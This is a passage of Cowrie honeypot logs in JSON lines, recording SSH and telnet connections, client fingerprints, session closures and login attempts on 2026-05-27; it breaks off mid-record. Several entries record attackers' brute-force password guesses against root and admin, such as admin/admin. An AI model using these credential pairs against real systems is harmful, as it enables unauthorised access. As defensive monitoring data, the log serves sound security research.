{"eventid":"cowrie.client.kex","hassh":"19532158b559096b89b1a5f7d17175b2","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,arcfour128,arcfour,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 19532158b559096b89b1a5f7d17175b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:00.659729Z","src_ip":"152.32.226.205","session":"0a3243c12b53","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:01.325543Z","src_ip":"152.32.226.205","session":"0a3243c12b53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:01.549437Z","src_ip":"152.32.226.205","session":"0a3243c12b53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"130.12.180.51","src_port":61484,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d28ed22e7c","protocol":"ssh","message":"New connection: 130.12.180.51:61484 (10.17.0.5:22) [session: 37d28ed22e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:01.748100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:01.753034Z","src_ip":"130.12.180.51","session":"37d28ed22e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5f904648ee8964bef0e8834012e26003","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5f904648ee8964bef0e8834012e26003","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:01.835874Z","src_ip":"130.12.180.51","session":"37d28ed22e7c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:02.085816Z","src_ip":"130.12.180.51","session":"37d28ed22e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:02.628587Z","src_ip":"130.12.180.51","session":"37d28ed22e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.8.188","src_port":37172,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac02ebf18a48","protocol":"ssh","message":"New connection: 101.47.8.188:37172 (159.203.135.109:22) [session: ac02ebf18a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:10.075547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:10.080312Z","src_ip":"101.47.8.188","session":"ac02ebf18a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:10.319446Z","src_ip":"101.47.8.188","session":"ac02ebf18a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:11.770075Z","src_ip":"101.47.8.188","session":"ac02ebf18a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":36604,"dst_ip":"159.203.135.109","dst_port":22,"session":"92f299778044","protocol":"ssh","message":"New connection: 94.159.98.239:36604 (159.203.135.109:22) [session: 92f299778044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:13.698721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:13.709004Z","src_ip":"94.159.98.239","session":"92f299778044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:13.826646Z","src_ip":"94.159.98.239","session":"92f299778044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777777123","message":"login attempt [root/777777123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:15.216841Z","src_ip":"94.159.98.239","session":"92f299778044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:16.424757Z","src_ip":"94.159.98.239","session":"92f299778044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":54990,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4947bda2df1","protocol":"ssh","message":"New connection: 35.225.56.202:54990 (159.203.135.109:22) [session: a4947bda2df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:23.469887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:23.475754Z","src_ip":"35.225.56.202","session":"a4947bda2df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:23.510502Z","src_ip":"35.225.56.202","session":"a4947bda2df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.qq","message":"login attempt [root/123456.qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:23.684511Z","src_ip":"35.225.56.202","session":"a4947bda2df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:24.723837Z","src_ip":"35.225.56.202","session":"a4947bda2df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.694642543792725,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:27.524038Z","src_ip":"69.4.83.194","session":"626a0813c728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":69.21008062362671,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:31.142487Z","src_ip":"178.128.93.180","session":"6eee22f45c54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52258,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a06bd2a42cf","protocol":"telnet","message":"New connection: 69.4.83.194:52258 (159.203.135.109:23) [session: 2a06bd2a42cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:35.893718Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":48092,"dst_ip":"159.203.135.109","dst_port":22,"session":"a36a85633ff3","protocol":"ssh","message":"New connection: 182.52.90.106:48092 (159.203.135.109:22) [session: a36a85633ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:47.875328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:47.885184Z","src_ip":"182.52.90.106","session":"a36a85633ff3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:48.151033Z","src_ip":"182.52.90.106","session":"a36a85633ff3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhu12345","message":"login attempt [root/Zhu12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:49.212560Z","src_ip":"182.52.90.106","session":"a36a85633ff3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:50.474134Z","src_ip":"182.52.90.106","session":"a36a85633ff3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58576,"dst_ip":"159.203.135.109","dst_port":23,"session":"8971193e10d4","protocol":"telnet","message":"New connection: 69.4.83.194:58576 (159.203.135.109:23) [session: 8971193e10d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:52.909603Z"}
{"eventid":"cowrie.session.closed","duration":70.08167958259583,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:54.636826Z","src_ip":"178.128.93.180","session":"37b9bf2dceaf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":70.03734540939331,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:38:56.953818Z","src_ip":"178.128.93.180","session":"d9a01aee9729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35856,"dst_ip":"159.203.135.109","dst_port":23,"session":"db7bd56a9af1","protocol":"telnet","message":"New connection: 69.4.83.194:35856 (159.203.135.109:23) [session: db7bd56a9af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:05.976447Z"}
{"eventid":"cowrie.session.closed","duration":33.68287634849548,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:09.576463Z","src_ip":"69.4.83.194","session":"2a06bd2a42cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":37532,"dst_ip":"159.203.135.109","dst_port":22,"session":"30cdd59ed74f","protocol":"ssh","message":"New connection: 103.237.144.204:37532 (159.203.135.109:22) [session: 30cdd59ed74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:13.339880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:13.345092Z","src_ip":"103.237.144.204","session":"30cdd59ed74f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:13.597455Z","src_ip":"103.237.144.204","session":"30cdd59ed74f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yinghe","password":"yinghe","message":"login attempt [yinghe/yinghe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:14.627789Z","src_ip":"103.237.144.204","session":"30cdd59ed74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:15.880733Z","src_ip":"103.237.144.204","session":"30cdd59ed74f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.23462128639221,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:29.144094Z","src_ip":"69.4.83.194","session":"8971193e10d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00395917892456,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:32.369452Z","src_ip":"190.82.206.126","session":"deb474c5fad7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.82.206.126","src_port":43398,"dst_ip":"10.17.0.5","dst_port":23,"session":"246ac0b6b05c","protocol":"telnet","message":"New connection: 190.82.206.126:43398 (10.17.0.5:23) [session: 246ac0b6b05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:32.688709Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35254,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2d8f90aee86","protocol":"ssh","message":"New connection: 109.237.96.109:35254 (10.17.0.5:22) [session: b2d8f90aee86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:39.487350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:39:39.491214Z","src_ip":"109.237.96.109","session":"b2d8f90aee86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@opens